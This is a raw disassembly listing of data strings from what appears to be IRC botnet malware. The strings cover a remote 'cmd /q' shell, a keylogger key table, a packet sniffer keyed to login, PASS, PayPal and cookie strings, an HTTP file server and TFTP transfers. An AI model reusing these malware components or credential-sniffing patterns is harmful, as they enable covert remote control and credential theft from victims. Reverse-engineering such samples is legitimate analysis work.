aServerFailedRe	db ' server failed, returned %d',0
asc_43381C	db 0Dh,0Ah,0		; DATA XREF: sub_40F0D5+2CFo
					; sub_41A4D1+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F0D5+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F530+98o
					; sub_41AA42+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F530+5Fo
		align 4
unk_433A3C	db  2Dh	; -		; DATA XREF: sub_40F6B3+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_433A74	db  2Dh	; -		; DATA XREF: sub_40F6B3+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_433AA8:				; DATA XREF: sub_40F6B3+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96A+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96A+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96A+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+328o
					; sub_40F96A+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_40F96A+2E9o
					; sub_40F96A+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96A+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96A+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_40F96A+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96A+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_433F50	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Do
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_433F94	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B7o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_433FFC	db  2Dh	; -		; DATA XREF: ___:00410493o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_434044	db  2Dh	; -		; DATA XREF: ___:004106E5o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_434084	db  2Dh	; -		; DATA XREF: ___:0041061Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_4340C8	db  2Dh	; -		; DATA XREF: ___:004109A8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4340F4	db  2Dh	; -		; DATA XREF: ___:00410981o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_434120	db  2Dh	; -		; DATA XREF: ___:00410961o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
		align 4
unk_43415C	db  2Dh	; -		; DATA XREF: ___:004108A0o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_434188	db  2Dh	; -		; DATA XREF: sub_4109C4:loc_410A09o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_4341B4	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1E+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_434350	db  2Dh	; -		; DATA XREF: sub_410CD5+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_434384	db  2Dh	; -		; DATA XREF: sub_410CD5+59o
					; sub_410CD5+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_4343CC	db  2Dh	; -		; DATA XREF: sub_410E26+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4343F4	db  2Dh	; -		; DATA XREF: sub_410E26+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_434434	db  2Dh	; -		; DATA XREF: sub_410E26+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434474	db  2Dh	; -		; DATA XREF: sub_410F1F+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F1F+8Co
		align 4
dword_4344B4	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF8+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 8
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_434E24	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
		align 4
asc_434E54:				; DATA XREF: ___:00411C3Fo
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 10h
		dd offset off_435718
		dd offset off_435714
		dd offset off_435710
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 0
		db 0
		db 3 dup(0)		; DATA XREF: ___:off_435714o
		dd 3 dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00434EACo
		align 10h
off_435710	dd offset word_505446	; DATA XREF: ___:00434EA8o
off_435714	dd offset byte_435249	; DATA XREF: ___:00434EA4o
off_435718	dd offset word_544F42	; DATA XREF: ___:00434EA0o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_412360+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412360+EEo
		align 4
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412360+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412360+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412360+B7o
aLogin		db ':!Login',0          ; DATA XREF: sub_412360+A6o
aLogin_0	db ':!login',0          ; DATA XREF: sub_412360+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412360+84o
a366		db '366 ',0             ; DATA XREF: sub_412360+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_412360:loc_4123C2o
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412360+4Do
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412360+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412360+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412360+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412477+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412477:loc_4124B7o
					; sub_4124ED+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412477+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412477+5o
		align 4
aPass_0		db 'PASS ',0            ; DATA XREF: sub_4124ED+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124ED+62o
		align 4
